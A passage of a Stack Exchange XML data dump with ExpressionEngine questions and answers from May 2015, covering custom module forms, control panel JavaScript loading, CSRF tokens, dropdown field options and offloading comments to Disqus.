  <row Id="31606" PostTypeId="2" ParentId="31604" CreationDate="2015-05-22T17:38:13.513" Score="1" Body="&lt;p&gt;I'll post my answer from my comment above down here. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/devdemon/freemember&quot; rel=&quot;nofollow&quot;&gt;FreeMember&lt;/a&gt; is a great, free plugin that allows some flexibility.&lt;/p&gt;&#xA;" OwnerUserId="1539" LastActivityDate="2015-05-22T17:38:13.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31610" PostTypeId="1" AcceptedAnswerId="31630" CreationDate="2015-05-23T14:46:17.403" Score="0" ViewCount="81" Body="&lt;p&gt;Developing for potential high traffic website (Startup) which will be kind of like a news website ( Heavy on reading).&#xA;One of the ways user will interact will be through comments. Thus a social login comment, and threaded comment is in consideration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Question&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will offloading the login/comment/analytics to third party like disqus/livefyre/ intense debate etc will have any positive impact in sense that more concurrent users can be handled by the server.&#xA;i.e. will having logged in users vs having NO logged in users will have better performance.&#xA;e.g. Full page Static caching can be potentially used if you have no comments/login as Javascript will will be used for both login/comment and analytics&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: This maybe not expression engine specific, even then what is opinion for handling high traffic with good efficiency for read heavy site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edited for simplicity.&lt;/p&gt;&#xA;" OwnerUserId="6335" LastEditorUserId="6335" LastEditDate="2015-05-26T15:27:21.907" LastActivityDate="2015-05-26T15:57:05.830" Title="Offloading comments/login to thirdparty from Expressionengine to speed up website" Tags="|login|comments|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31611" PostTypeId="1" CreationDate="2015-05-23T17:38:57.790" Score="0" ViewCount="111" Body="&lt;p&gt;Developing a form using custom module for members to update football match day statistics.  These include team sheets, goals substitutions.  I have been able to get the team sheets working grand but stuck on adding in the goal scorers. On my form I will have to have a row per goal, so if a team scores 1,2,X amount of goals in the game I will need the same amount of rows. The data to be saved will be player, time of goal and whether a penalty or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a drop down list for the players name, textbox for time and a checkbox for penalty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I need help with is how to display the number of rows per goal. And I would also like use the same form for adding and editing the goals.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My module function&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function match_stats(){&#xA;&#xA;    $match_id = ee()-&amp;gt;TMPL-&amp;gt;fetch_param('match_id');&#xA;    $team_id = ee()-&amp;gt;TMPL-&amp;gt;fetch_param('team_id');&#xA;    $match = ee()-&amp;gt;clubmanager_matches-&amp;gt;__get_match($match_id);&#xA;    $sql = &quot;SELECT club_id FROM exp_ca_exec_clubs where member_id = ?&quot;;&#xA;    $query = ee()-&amp;gt;db-&amp;gt;query($sql, array(ee()-&amp;gt;session-&amp;gt;userdata('member_id')));&#xA;&#xA;    $club_id = $query-&amp;gt;row()-&amp;gt;club_id;  &#xA;    $season_id = 16;&#xA;&#xA;    // Build an array to hold the form's hidden fields&#xA;    $hidden_fields = array(&#xA;        &quot;match_id&quot; =&amp;gt; $match_id,&#xA;        &quot;club_id&quot; =&amp;gt; $club_id,&#xA;        &quot;team_id&quot; =&amp;gt; $team_id,&#xA;        &quot;season_id&quot; =&amp;gt; $season_id,&#xA;        &quot;ACT&quot; =&amp;gt; ee()-&amp;gt;functions-&amp;gt;fetch_action_id( 'Clubmanager', 'match_team_action' ),&#xA;        &quot;return&quot; =&amp;gt; ee()-&amp;gt;TMPL-&amp;gt;fetch_param('return')&#xA;    );&#xA;&#xA;    // Build an array with the form data&#xA;    $form_data = array(&#xA;        // Send form back to this url - the action must be the same as the form&#xA;        &quot;action&quot; =&amp;gt; ee()-&amp;gt;functions-&amp;gt;create_url( ee()-&amp;gt;uri-&amp;gt;uri_string ), &#xA;        &quot;id&quot; =&amp;gt; ee()-&amp;gt;TMPL-&amp;gt;form_id,&#xA;        &quot;class&quot; =&amp;gt; 'form-horizontal',&#xA;        &quot;hidden_fields&quot; =&amp;gt; $hidden_fields&#xA;    );&#xA;&#xA;    // Make sure errors is actually an array&#xA;    if( ! is_array( self::$errors ) ) {&#xA;        self::$errors = array();&#xA;    }&#xA;&#xA;    // Match Stats Goals&#xA;    $matchPlayersList = ee()-&amp;gt;clubmanager_players-&amp;gt;__get_match_players_list($team_id, $match_id);&#xA;    $clubplayerslist = ee()-&amp;gt;clubmanager_players-&amp;gt;__get_club_players_list($club_id,  $season_id);&#xA;&#xA;    if($matchPlayersList &amp;gt; 0):&#xA;        $variables['players'] = $matchPlayersList;&#xA;    else:&#xA;        $variables['players'] = $clubplayerslist;&#xA;    endif;&#xA;&#xA;    // Set up array to parse tagdata&#xA;    $variables['errors'] = array(&#xA;        array( self::$errors )// list of error messages&#xA;    );&#xA;&#xA;    // Fetch contents of the tag pair, ie, the form contents&#xA;    $tagdata = ee()-&amp;gt;TMPL-&amp;gt;tagdata;&#xA;&#xA;    // Parse tagdata for errors/submitted values&#xA;    $tagdata = ee()-&amp;gt;TMPL-&amp;gt;parse_variables_row( $tagdata, $variables );&#xA;&#xA;    // Create the form&#xA;    $form = ee()-&amp;gt;functions-&amp;gt;form_declaration($form_data) . &#xA;        $tagdata . &#xA;        &quot;&amp;lt;/form&amp;gt;&quot;;&#xA;&#xA;    return $form;&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My template code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:clubmanager:match_stats &#xA;                    match_id=&quot;{segment_3}&quot;&#xA;                    team_id=&quot;{segment_4}&quot;&#xA;                    return=&quot;clubhouse/fixtures/edit-success&quot;&#xA;}&#xA; &amp;lt;!--Table Search v1--&amp;gt;&#xA;                &amp;lt;div class=&quot;table-search-v1 margin-bottom-20&quot;&amp;gt;&#xA;                    &amp;lt;div class=&quot;table-responsive&quot;&amp;gt;&#xA;                        &amp;lt;table class=&quot;table table-hover table-bordered table-striped&quot;&amp;gt;&#xA;                            &amp;lt;thead&amp;gt;&#xA;                                &amp;lt;tr&amp;gt;&#xA;                                    &amp;lt;th&amp;gt;Player Name&amp;lt;/th&amp;gt;&#xA;                                    &amp;lt;th&amp;gt;Assist Player Name&amp;lt;/th&amp;gt;&#xA;                                    &amp;lt;th&amp;gt;Goal Time&amp;lt;/th&amp;gt;&#xA;                                    &amp;lt;th&amp;gt;Penalty&amp;lt;/th&amp;gt;&#xA;                                    &amp;lt;th&amp;gt;Status&amp;lt;/th&amp;gt;&#xA;                                &amp;lt;/tr&amp;gt;&#xA;                            &amp;lt;/thead&amp;gt;&#xA;                            &amp;lt;tbody&amp;gt;&#xA;                                &amp;lt;tr&amp;gt;&#xA;                                    &amp;lt;td&amp;gt;&#xA;&#xA;&#xA;                                      &amp;lt;select name=&quot;player_goal&quot;&amp;gt;&#xA;                                        &amp;lt;option value=&quot;0&quot;&amp;gt;Select Player&amp;lt;/option&amp;gt;&#xA;                                        {players}&#xA;                                        &amp;lt;option value=&quot;{id}&quot;&amp;gt;{name}&amp;lt;/option&amp;gt;&#xA;                                        {/players}&#xA;                                      &amp;lt;/select&amp;gt;&#xA;&#xA;                                    &amp;lt;/td&amp;gt;&#xA;                                     &amp;lt;td&amp;gt;&#xA;                                        &amp;lt;select name=&quot;player_assist&quot;&amp;gt;&#xA;                                        &amp;lt;option value=&quot;0&quot;&amp;gt;Select Player&amp;lt;/option&amp;gt;&#xA;                                        {players}&#xA;                                        &amp;lt;option value=&quot;{id}&quot;&amp;gt;{name}&amp;lt;/option&amp;gt;&#xA;                                        {/players}&#xA;                                      &amp;lt;/select&amp;gt;&#xA;                                    &amp;lt;/td&amp;gt;&#xA;                                        &amp;lt;!-- Text input--&amp;gt;&#xA;                                     &amp;lt;td&amp;gt;&#xA;                                      &amp;lt;input type=&quot;text&quot; placeholder=&quot;time&quot;     class=&quot;form-control&quot; name=&quot;time&quot; value=&quot;{time}&quot;  /&amp;gt;&#xA;                                    &amp;lt;/td&amp;gt;&#xA;                                    &amp;lt;td&amp;gt;&#xA;&#xA;                                    &amp;lt;/td&amp;gt;&#xA;                                    &amp;lt;td&amp;gt;&#xA;                                    &amp;lt;/td&amp;gt;&#xA;                                &amp;lt;/tr&amp;gt;&#xA;                            &amp;lt;/tbody&amp;gt;&#xA;                        &amp;lt;/table&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;    &#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;!--End Table Search v1--&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5029" LastActivityDate="2016-06-11T19:14:12.980" Title="Add/Edit Form in Custom Module" Tags="|forms|module|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31612" PostTypeId="1" CreationDate="2015-05-24T12:49:48.720" Score="0" ViewCount="81" Body="&lt;p&gt;To use a jquery plugin in a control panel view the following is used in the module's mcp file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ee()-&amp;gt;cp-&amp;gt;add_js_script(array('plugin' =&amp;gt; 'dataTables'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;however I have a custom jqueru plugin, how do I load that into a control panel view? Where will the code above look for jquery plugins?&lt;/p&gt;&#xA;" OwnerUserId="6336" LastEditorUserId="6336" LastEditDate="2015-05-24T14:13:15.057" LastActivityDate="2016-06-04T10:46:48.160" Title="Using a custom jquery plugin in a custom module" Tags="|module|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31613" PostTypeId="1" CreationDate="2015-05-25T04:05:50.717" Score="-3" ViewCount="34" Body="&lt;p&gt;Map for showing the data on clicking a particular area.&lt;/p&gt;&#xA;" OwnerUserId="6318" LastEditorUserId="1100" LastEditDate="2015-05-27T14:48:06.557" LastActivityDate="2015-05-27T14:48:06.557" Title="Is there any plugin for US map functionality means on clicking the particular area we get the updates about that?" Tags="|custom-fields|fields|" AnswerCount="1" CommentCount="0" ClosedDate="2015-05-27T16:43:39.270" ContentLicense="CC BY-SA 3.0" />
  <row Id="31614" PostTypeId="2" ParentId="20642" CreationDate="2015-05-25T04:55:52.950" Score="1" Body="&lt;p&gt;I am using following add-ons with EE2.8.1 from your list.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA; 1. Assets&#xA; 2. Cartthrob&#xA; 3. Cartthrob Order Manager&#xA; 4. Channel Images&#xA; 5. Wygwam&#xA; 6. Playa&#xA; 7. Matrix&#xA; 8. Profile:Edit&#xA;&lt;/pre&gt; &#xA;" OwnerUserId="3060" LastEditorUserId="3060" LastEditDate="2015-05-26T06:50:38.717" LastActivityDate="2015-05-26T06:50:38.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31615" PostTypeId="2" ParentId="31604" CreationDate="2015-05-25T06:53:57.027" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://devot-ee.com/add-ons/ajax-auth&quot; rel=&quot;nofollow&quot;&gt;AJAX Auth&lt;/a&gt; is supported and compatible with latest EE versions. If you need support or have pre-sales questions, email me directly to support@intoeetive.com&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2015-05-25T06:53:57.027" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31616" PostTypeId="1" CreationDate="2015-05-25T13:57:47.133" Score="1" ViewCount="25" Body="&lt;p&gt;can I Use dynamic parameter more than one time (conditionally) on a template in expressionengine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;{if case1}&#xA;{exp:channel:entries ..... dynamic=&quot;off&quot;}&#xA;stuff&#xA;{/exp:channel:entries}&#xA;{if:else}&#xA;{exp:channel:entries ..... dynamic=&quot;off&quot;}&#xA;stuff&#xA;{/exp:channel:entries}&#xA;{/if}&#xA;&lt;/pre&gt;&#xA;" OwnerUserId="3060" LastActivityDate="2015-05-25T17:00:19.500" Title="can I Use dynamic parameter more than one time on a template in expressionengine" Tags="|ee|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31617" PostTypeId="2" ParentId="31613" CreationDate="2015-05-25T14:17:58.893" Score="1" Body="&lt;p&gt;Depends on your approach and what you want to display information wise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I built &lt;a href=&quot;http://usich.gov/usich_resources/maps/overall_homelessness_rates&quot; rel=&quot;nofollow&quot;&gt;this map&lt;/a&gt; using Entry data which populates hidden DOM objects that are shown and hidden depending on the state clicked. The SVG maps are open source with each state marked with ID and classes, although I had to customise to fit Alaska and Islands. Easy enough to colourise and specify the colouring via the entry data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An alternative is Google maps, which you can utilise a couple of add-ons (&lt;a href=&quot;https://devot-ee.com/add-ons/google-maps&quot; rel=&quot;nofollow&quot;&gt;ObjctiveHTML&lt;/a&gt; or &lt;a href=&quot;https://devot-ee.com/add-ons/gmaps&quot; rel=&quot;nofollow&quot;&gt;Rein de Vries&lt;/a&gt;), I've used both, but to be honest I find it easier to talk to the Google Maps API directly in JS fed by entry data stored via templates, or if you're using a lot of data, load via Ajax after page load. There are &lt;a href=&quot;https://devot-ee.com/search/results?keywords=google%20map&amp;amp;collection=addons&amp;amp;addon_version_support=ee2&quot; rel=&quot;nofollow&quot;&gt;other add-on options&lt;/a&gt; depending on your requirement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure why the question has been tagged with &quot;Solspace Freeform&quot; though...?&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2015-05-25T14:17:58.893" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31618" PostTypeId="1" CreationDate="2015-05-25T15:02:21.633" Score="1" ViewCount="49" Body="&lt;p&gt;Is there a way to create an Exp:resso Store order programmatically? Whats the minimum requirements for it to show in the dashboard and be a valid order. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&#xA;K&lt;/p&gt;&#xA;" OwnerUserId="6305" LastActivityDate="2015-05-26T12:28:12.877" Title="Expresso Store - Create order programmically" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31619" PostTypeId="2" ParentId="31616" CreationDate="2015-05-25T17:00:19.500" Score="1" Body="&lt;p&gt;Yes, you can use the dynamic parameter more than one time in a template and you can use it inside conditionals as well. &lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2015-05-25T17:00:19.500" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31620" PostTypeId="2" ParentId="30726" CreationDate="2015-05-25T19:45:49.997" Score="0" Body="&lt;p&gt;The simple 'hack' to resolve this if you don't plan on using entries as a filter for discounts is to modify line 96 in DiscountsController.php to read:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$data['product_options'] = NULL;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It means you can no longer apply discounts on a per entry basis but it's a fix for the very slow loading of the form if you don't require that ability! :)&lt;/p&gt;&#xA;" OwnerUserId="389" LastActivityDate="2015-05-25T19:45:49.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31621" PostTypeId="1" AcceptedAnswerId="31626" CreationDate="2015-05-25T22:35:59.990" Score="0" ViewCount="336" Body="&lt;p&gt;I was hoping to output the available options in my P&amp;amp;T Fieldpack Dropdown field with a template (into a dropdown used to filter results) but am having no luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've seen some folks referencing a tag pair like {options:papers_type} but I'm getting nowhere. Is anyone else familiar with how to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Feels like I must be missing something. Merci!&lt;/p&gt;&#xA;" OwnerUserId="3895" LastActivityDate="2015-05-26T10:08:37.573" Title="Output List of P&amp;T Dropdown Field Options" Tags="|field-pack|drop-down|pt-dropdown|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31623" PostTypeId="2" ParentId="31446" CreationDate="2015-05-26T04:58:49.077" Score="0" Body="&lt;p&gt;Usually this error occurs when you are posting anything without adding csrf_token or xid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for the newer versions of expresionengine xid became csrf_token.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;show you need to put a hidden field inside your form tags as follows.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;csrf_token&quot; value=&quot;{CSRF_TOKEN}&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you are using xid and your expressionengine is newer than 2.7.0 replace as above.&lt;/p&gt;&#xA;" OwnerUserId="3060" LastActivityDate="2015-05-26T04:58:49.077" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31625" PostTypeId="2" ParentId="10959" CreationDate="2015-05-26T08:05:36.923" Score="0" Body="&lt;p&gt;Use Field pack instead. P&amp;amp;T deprecated for newer versions of expressionengine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it will copy your data into itself. so you don't need to worry about datta lose as well.&lt;/p&gt;&#xA;" OwnerUserId="3060" LastActivityDate="2015-05-26T08:05:36.923" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31626" PostTypeId="2" ParentId="31621" CreationDate="2015-05-26T08:46:48.943" Score="2" Body="&lt;p&gt;&lt;a href=&quot;https://github.com/low/low_options&quot; rel=&quot;nofollow&quot;&gt;Low Options&lt;/a&gt; can output native and P&amp;amp;T dropdown options in your templates.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2015-05-26T08:46:48.943" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31627" PostTypeId="2" ParentId="31621" CreationDate="2015-05-26T09:06:14.253" Score="0" Body="&lt;p&gt;it doesn't look like your missing anything, I've checke &lt;a href=&quot;https://docs.pixelandtonic.com/fieldpack/fieldtypes/dropdown/index.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;the docs&lt;/a&gt; but they are a little spartan to say the least...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If yuo wanted to simply display the field within a {exp:channel:form} SAEF it seems &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/14446/pt-checkboxes-and-channel-form&quot;&gt;you can use the &lt;code&gt;{field:var_name}&lt;/code&gt; syntax&lt;/a&gt;, you should also be abel to use &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_form/#custom-field-tag-pair&quot; rel=&quot;nofollow noreferrer&quot;&gt;the variable tag pair syntax&lt;/a&gt; within the Cahnnel Form. However it sounds like you just want to use the options in a custom dropdown as you mention 'a filter'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You still have some options, but if you're dead set on extracting the optoins from the P&amp;amp;T Dropdown on a Channel Field (rather than recreating them in a snippet/global variable or summin) you could roll your own PHP Sql query to get them or attempt to use the EE Template API to get the options/render the field again using PHP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me know if you want a concise example, I'll have to knock one together. However in the meantime &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/api/api_channel_fields.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;these docs&lt;/a&gt; might get you on the right path...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;: Been a while since I dipped into the Channel Fields API, so I tried an example. The following snippet will get you the options (as a key =&gt; value array) for a P&amp;amp;T Dropdown, provided you know the Channel (1) and Field ID (3) : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;  //instansiate the channel entries API&#xA;  ee()-&amp;gt;load-&amp;gt;library('api');&#xA;  ee()-&amp;gt;api-&amp;gt;instantiate('channel_fields');&#xA;&#xA;  //assuming Channle has ID of 1&#xA;  $channelSettings = ee()-&amp;gt;api_channel_fields-&amp;gt;setup_entry_settings('1', array());&#xA;&#xA;  //assuming dropdown is field ID of 3&#xA;  $fieldOptions = empty($channelSettings['field_id_3']['options']) : array() ? $channelSettings['field_id_3']['options'];&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1100" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2015-05-26T10:08:37.573" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31628" PostTypeId="1" CreationDate="2015-05-26T09:47:57.643" Score="0" ViewCount="43" Body="&lt;p&gt;I'm trying to display the channel entry category with &lt;code&gt;{categories}{category_name}{/categories}&lt;/code&gt; but nothing shows up. I'm assuming that the &lt;code&gt;channel:form&lt;/code&gt; somehow interferes with the &lt;code&gt;channel:entries&lt;/code&gt; loop.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:form channel=&quot;message_on_hold&quot; secure_return=&quot;yes&quot; return=&quot;order/moh-checkout/ENTRY_ID&quot; member_data=&quot;yes&quot; error_handling=&quot;inline&quot; secure_action=&quot;yes&quot; entry_id=&quot;{segment_3}&quot;}&#xA;  {options:moh_music}&#xA;    {if option_value != ''}&#xA;&#xA;      &amp;lt;input type=&quot;radio&quot; name=&quot;moh_music[data][]&quot; value=&quot;{option_value}&quot;{checked}&amp;gt;&#xA;&#xA;      {exp:channel:entries entry_id=&quot;{option_value}&quot; dynamic=&quot;no&quot; limit=&quot;1&quot;}&#xA;         {categories}{category_name}{/categories} ### Doesn't work, shows nothing&#xA;      {/exp:channel:entries}&#xA;&#xA;    {/if}&#xA;  {/options:moh_music}&#xA;{/exp:channel:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1736" LastActivityDate="2016-06-07T05:59:32.870" Title="Entry Category within channel:entries within options: loop within channel:form" Tags="|channel-entries|categories|safecracker|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31629" PostTypeId="2" ParentId="31628" CreationDate="2015-05-26T11:08:23.773" Score="0" Body="&lt;p&gt;is the channel you are linking to in the relationship field properly set up with a relivent category group (in Channel Preferences)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember that within the &lt;code&gt;channel_entries&lt;/code&gt; tag we are working on the child channel entries, not the parent! &lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-05-26T11:08:23.773" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31630" PostTypeId="2" ParentId="31610" CreationDate="2015-05-26T11:53:04.817" Score="1" Body="&lt;p&gt;Do you only need login to post said comments?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps all you need is &lt;a href=&quot;https://disqus.com/&quot; rel=&quot;nofollow&quot;&gt;Disqus&lt;/a&gt;? Modules already available : &lt;a href=&quot;https://devot-ee.com/add-ons/cx-disqus-comments&quot; rel=&quot;nofollow&quot;&gt;CX Disqus Comments&lt;/a&gt;, &lt;a href=&quot;https://devot-ee.com/search/results?keywords=disqus&amp;amp;addon_version_support=ee2&quot; rel=&quot;nofollow&quot;&gt;Alternatives&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, by outsourcing your comments and social login to Discus (or another) you will lose the overhead of managing and developing an EE userbase, however if you wanted to sync your users so they can also log into your site that will work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll benifit from having your comments/discussions/arguements off site, likewise unless you want to sync your users you'll do away with the EE member stuff completely. YOu could use a social login plugin to extend this to cover native polls ect, continuing the &quot;No need for my own members&quot; philosophy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for loading and traffic, EE can handle large user bases (I have a couple of sites with numbers in the hundreds of thousands) however by using social login you're avoiding session handling in EE, posibly gaining a bit from the asyncronous nature. Of course this does add a JS dependancy to your site...&lt;/p&gt;&#xA;" OwnerUserId="1100" LastEditorUserId="1100" LastEditDate="2015-05-26T15:57:05.830" LastActivityDate="2015-05-26T15:57:05.830" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="31631" PostTypeId="2" ParentId="31611" CreationDate="2015-05-26T11:58:20.473" Score="0" Body="&lt;p&gt;I would use a grid field type, and programatically set the new rows on your template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ref : &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/grid.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://ellislab.com/expressionengine/user-guide/add-ons/channel/grid.html&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/fieldtypes.html#grid-fieldtype-development&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://ellislab.com/expressionengine/user-guide/development/fieldtypes.html#grid-fieldtype-development&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/31197/adding-new-grid-entries-with-channelform/31240#31240&quot;&gt;Adding New Grid Entries With Channel:Form&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1100" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2015-05-26T11:58:20.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31632" PostTypeId="2" ParentId="31618" CreationDate="2015-05-26T12:28:12.877" Score="1" Body="&lt;p&gt;Store is fairly abstracted when it comes to order data. Take a look in the database at the tables starting with &lt;code&gt;exp_store_order...&lt;/code&gt; - these all come into play for a single order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, if you want to record payments of any kind with an order, you'll need an entry in &lt;code&gt;exp_store_transactions&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-05-26T12:28:12.877" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31633" PostTypeId="2" ParentId="31612" CreationDate="2015-05-26T12:33:02.203" Score="0" Body="&lt;p&gt;Third party add-ons should store their javascript files in their &lt;em&gt;javascript&lt;/em&gt; folder, and then loading them using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ee()-&amp;gt;cp-&amp;gt;load_package_js('my_file');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/usage/cp.html#loading-third-party-javascript-files&quot; rel=&quot;nofollow&quot;&gt;(Docs.)&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;ee()-&amp;gt;cp-&amp;gt;add_js_script()&lt;/code&gt; will only load javascript which EE includes in the download for its own use.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-05-26T12:33:02.203" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31635" PostTypeId="1" AcceptedAnswerId="31636" CreationDate="2015-05-26T13:57:03.207" Score="0" ViewCount="55" Body="&lt;p&gt;I'm trying to achieve something that I think might be simple, but I'm just not getting it figured out. What I want is to have a list of my entry titles with links to anchors to the body of the entry immediately below, like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;title1&lt;br&gt;&#xA;title2&lt;br&gt;&#xA;title3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;body1&lt;br&gt;&#xA;body2&lt;br&gt;&#xA;body3  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the code I've got right now:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;channel-name&quot;}  &#xA;   &amp;lt;a href=&quot;#{url_title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&#xA;{/exp:channel:entries}&#xA;&#xA;{exp:channel:entries channel=&quot;channel-name&quot;}&#xA;   &amp;lt;a id=&quot;{url_title}&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;   {body}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It seems to me that calling the channel twice is redundant, but I don't know how to get around that. Am I missing something obvious?&lt;/p&gt;&#xA;" OwnerUserId="2218" LastActivityDate="2015-05-27T12:54:10.673" Title="Cleanest way to list entry titles with links to body of entry below?" Tags="|channel-entries|list|dry|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31636" PostTypeId="2" ParentId="31635" CreationDate="2015-05-26T14:44:09.197" Score="1" Body="&lt;p&gt;Literally, you have a fine answer. There really is no other way to get the result you want except for how you're doing it. I double up on channel entry tags in templates all the time, especially when creating image sliders and the like (having to output an image and a caption in two different places).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may be concerned about efficiency: Sure, it's less efficient and adds the tiniest amount of extra load time. In your applications server solution, however, you can really solve this issue with fantastic products like CE Cache or Cloudflare.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.causingeffect.com/software/expressionengine/ce-cache&quot; rel=&quot;nofollow&quot;&gt;http://www.causingeffect.com/software/expressionengine/ce-cache&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.cloudflare.com/&quot; 